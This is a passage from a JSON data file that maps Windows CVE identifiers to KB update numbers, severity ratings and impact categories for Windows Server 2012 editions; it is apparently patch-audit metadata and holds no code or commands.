Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025331\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038799\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056896\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056896\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056896\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103730\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103730\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088877\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088877\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088877\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093123\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103730\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462929\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462929\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462929\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467701\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467701\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103730\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480975\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487025\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480975\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534283\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537814\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4541510\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550917\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556840\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556840\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571736\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571736\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601348\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003208\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003208\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003697\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001387\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001387\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004956\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005099\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005623\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006739\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014747\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029295\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025287\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026419\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073698\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028232\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-50868\",\"kb\":\"5039260\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041851\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043125\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048699\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050004\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053886\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053886\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053886\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055581\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058380\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5061059\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066875\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063906\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063906\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070887\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2012 (Server Core installation)\":[{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901127\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3023562\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1674\",\"kb\":\"3050514\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3072306\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126593\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3146723\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3177108\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197876\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012214\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4015551\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019216\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019216\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041690\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054520\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022724\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025331\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038799\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038799\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056896\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056896\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056896\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103730\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103730\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088877\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088877\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088877\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093123\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103730\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462929\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462929\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462929\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467701\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467701\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103730\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480975\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487025\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480975\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493451\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534283\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537814\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4541510\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550917\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556840\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556840\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571736\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571736\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601348\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003208\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003208\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003697\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001387\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001387\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004956\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005099\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005623\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006739\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014747\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029295\",\"severity\":\"Important\",\"impact\":\"Information 